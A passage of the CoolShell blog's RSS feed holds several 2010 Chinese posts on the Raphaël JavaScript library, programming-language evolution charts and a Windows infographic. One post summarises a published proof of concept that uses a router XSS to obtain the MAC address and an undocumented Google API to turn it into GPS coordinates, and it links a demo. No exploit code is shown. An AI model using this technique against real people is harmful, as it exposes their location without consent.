&#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_title\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3125.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>174</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript向量图Lib&#8211;Raphaël</title>\n\t\t<link>https://coolshell.cn/articles/3107.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3107.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 12 Oct 2010 00:21:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Raphaël]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3107</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道很多的Javascript的lib库了，比如：jQuery，YUI，Ext JS等等。今天看到一个很牛X的lib叫Raphaël [ˈrafēəl]，这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3107.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3107.html\">Javascript向量图Lib–Raphaël</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道很多的Javascript的lib库了，比如：jQuery，YUI，Ext JS等等。今天看到一个很牛X的lib叫<a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël </a>[ˈrafēəl]，这是一个很小的JavaScript library，可以让在你的Web上整一些向量图，并且可以完成一些动画和图形变化，很强大。</p>\n<p><a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël</a>使用的是  <abbr title=\"World Wide Web Consortium\">W3C</abbr> 推荐的 SVG和<abbr title=\"Vector Markup Language\">VML</abbr> 来创建图片。这意味着所创建的图形对象一样可以是一个DOM对象，可以被你的Javascript的事件来操作。<a href=\"http://raphaeljs.com/index.html\" target=\"_blank\">Raphaël</a> 支持所有的主流浏览器：Firefox 3.0+, Safari 3.0+, Chrome 5.0+, Opera 9.5+ d 和 Internet Explorer 6.0+，最强大的是，这个js文件被压缩后也就60K。</p>\n<p>下面，让我们来看几个示例：</p>\n<p>下面是一个图形变化的示例，点击两个图形间的箭头。</p>\n<p align=center><iframe loading=\"lazy\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"660\" height=\"420\" src=\"http://raphaeljs.com/animation.html\"></iframe></p>\n<p><span id=\"more-3107\"></span></p>\n<p>下面是一个流程图，你用鼠标拖动一下其中的图形：</p>\n<p align=center><iframe loading=\"lazy\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"660\" height=\"400\" src=\"http://raphaeljs.com/graffle.html\"></iframe></p>\n<p>下面是一个时钟：</p>\n<p align=center><iframe loading=\"lazy\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"660\" height=\"550\" src=\"http://raphaeljs.com/polar-clock.html\"></iframe></p>\n<p>下面是一个3D迷宫（用方向键移动，空格键跳动，注意左上角的地图）：</p>\n<p align=center><iframe loading=\"lazy\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"660\" height=\"500\" src=\"http://raphaeljs.com/scape/\"></iframe></p>\n<p>更多的示例请到其网站上看看吧：<a href=\"http://raphaeljs.com/index.html\" target=_blank>http://raphaeljs.com/index.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3107.html\">Javascript向量图Lib–Raphaël</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3107.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>63</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言进化</title>\n\t\t<link>https://coolshell.cn/articles/3100.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3100.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 Oct 2010 01:18:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3100</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过《编程语言时间地理图》、《计算机编程简史图》，下面是两张关于编程语言的进化图。 第一张是比较宏观的，来源在这里，虽然是去年的，但还是比较不错的，其...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3100.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">以前本站发布过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1863.html\" target=\"_blank\">编程语言时间地理图</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2724.html\" target=\"_blank\">计算机编程简史图</a>》，下面是两张关于编程语言的进化图。</p>\n<p style=\"text-align: left;\">第一张是比较宏观的，<a href=\"http://techdistrict.kirkk.com/2009/06/17/the-new-era-of-programming-languages/\" target=\"_blank\">来源在这里</a>，虽然是去年的，但还是比较不错的，其把计算机编程语言分成了五个时代——</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"language-evolution\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\" alt=\"\" width=\"600\" height=\"379\" /></a></p>\n<ul>\n<li><strong>语言诞生</strong>。1940年代。第一个语言应该是：<a href=\"http://en.wikipedia.org/wiki/Ada_Lovelace\" target=\"_blank\">Ada Lovelace</a>,</li>\n<li><strong>编译器时代</strong>。1950年代。这个时代的代表语言是：Fortran, LISP, 和 COBOL，编程语言开始引入编译器优化技术。</li>\n<li><strong>模式时代</strong>。1960年代-1970年代。这个时代是编程语言最重大的变革。在这个时代，所有人都在思考如何让设计一个好的编程语言以让编程更简单。面向对象也因为Simula而出现，而Smalltalk成了第一个纯动态类型的语言，C/C++、Pascal和SQL也是这个时代出现的，而第一个功能性/函数式语言ML也是这个时代出现的。所以说，这个时代是一个百花齐放的时代。而1980年代并没有太多的创新的东西，而只是对70年代出现的那些语言优化和发展的时期，如：1979年发明的C++语言。</li>\n<li><strong>生产力时代</strong>。1990年代以来主要是如何增进编程生产率的时代，这个时代出现了很多framework，代码库，以及快速开发的IDE，很多公司都在这个时期致力于这些增进生率的工作，如：delphi, power builder, MFC，boost等等。但最重要的还是因为引入了虚拟机——WORA（Write Once, Run Anywhere），JVM 是这方面的代表作。之后的.NET整出来的那些东西都是。今天的JPython, JRuby等都是为整合开发效率和维护效率。参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/247.html\">基于JVM的语言正在开始流行</a>》</li>\n<li><strong>后现代</strong>。未来的编程语言要走向何方，我不太清楚，不过，大家可以看看本站的这几篇文章：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a>》、《<a href=\"https://coolshell.cn/articles/209.html\" target=\"_blank\">C++和JAVA传统中积极的一面</a>》</li>\n</ul>\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\">下面是一张大图，让你看看整个编程语言的进代图。（点击看大图）</p>\n<p style=\"text-align: left;\"><span id=\"more-3100\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-3103 aligncenter\" title=\"Evolution Of Computer Languages\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages-1024x727.png\" alt=\"\" width=\"675\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages-1024x727.png 1024w, https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages-300x213.png 300w, https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages.png 1529w\" sizes=\"(max-width: 675px) 100vw, 675px\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\"></a></p>\n<p style=\"text-align: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg\">（</a>全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"五个编程语言设计的失误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_title\">五个编程语言设计的失误</a></li><li ><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_title\">参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3100.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Windows的达尔文进化图</title>\n\t\t<link>https://coolshell.cn/articles/3097.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3097.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 Oct 2010 00:56:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3097</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前发布过《操作系统图形界面发展史(1981-2009)》，今天在网上看到一张自于Testking.com的关于Windows的进化图，其从1985年的wind...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3097.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前发布过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/105.html\" target=\"_blank\">操作系统图形界面发展史(1981-2009)</a>》，今天在网上看到一张自于<a href=\"http://testking.com/\">Testking.com</a>的关于Windows的进化图，其从1985年的windows 1.0到2009年的windows 7的。挺有意思的。点击可以看大图。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/\"><img decoding=\"async\" src=\"http://www.testking.com/techking/wp-content/uploads/2010/10/W_600.jpg\" border=\"0\" alt=\"The Darwinian Evolution of Windows\" /></a></p>\n<p>图片来源: <a href=\"http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/\" target=\"_blank\">The Darwinian Evolution of Windows</a> by <a href=\"http://www.testking.com/techking/\" target=\"_blank\">Tech King</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif\" alt=\"操作系统图形界面发展史(1981-2009)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_title\">操作系统图形界面发展史(1981-2009)</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3097.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google未公开API：转MAC地址为经纬度</title>\n\t\t<link>https://coolshell.cn/articles/3089.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3089.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 09 Oct 2010 07:28:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[API]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[GPS]]></category>\n\t\t<category><![CDATA[XSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3089</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里有一个POC（Proof of Concept）可以通过你Web浏览器后面的路由器XSS攻击得到一个准确的GPS坐标。注意：路由器和Web浏览器以及IP地址...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3089.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3089.html\">Google未公开API：转MAC地址为经纬度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这里有一个POC（Proof of Concept）可以通过你Web浏览器后面的路由器XSS攻击得到一个准确的GPS坐标。注意：路由器和Web浏览器以及IP地址并不包含任和地理信息。其方法是使用了一个Google未公开的API。大约方法如下：</p>\n<ol>\n<li>访问一个网页，这个网页隐藏了一个基于你WiFi路由器的XSS（ 参见： <a href=\"http://samy.pl/vzwfios/\" target=\"_blank\">XSS  Verizon FiOS router</a>）</li>\n<li>通过这个XSS 可以获得路由器的MAC 地址。</li>\n<li>然后通过 Google Location Services我们可以把这个MAC地址映射到GPS坐标。Googel的这个服务是基于HTTP的服务。这并不是一个Google正式发布的API，而是通过 <a href=\"http://www.mozilla.com/en-US/firefox/geolocation/\" target=\"_blank\">Firefox&#8217;s Location-Aware Browsing</a> 发现的。</li>\n</ol>\n<p>演示地点在这里：<a href=\"http://samy.pl/mapxss/\" target=\"_blank\">http://samy.pl/mapxss/</a></p>\n<p>我试了一下，无论无线和有线都可以准确定位我的位置。很强大，你也试试看。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" 